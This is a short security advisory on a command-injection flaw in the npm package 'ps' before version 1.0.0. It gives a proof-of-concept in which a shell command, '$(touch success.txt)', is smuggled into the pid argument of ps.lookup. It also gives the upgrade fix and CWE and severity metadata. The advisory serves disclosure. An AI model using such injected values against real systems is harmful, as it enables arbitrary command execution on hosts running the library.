Versions of ps
before 1.0.0 are vulnerable to command injection.
var ps = require('ps');
ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection
if (err) {throw err;}
if (proc) {
console.log(proc); // Process name, something like "node" or "bash"
} else {
console.log('No such process');
}
});
// Result: The file success.txt will exist on the filesystem if the touch command was executed
Update to version 1.0.0 or later.
{ "nvd_published_at": null, "cwe_ids": [ "CWE-77", "CWE-78" ], "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2020-06-16T21:31:20Z" }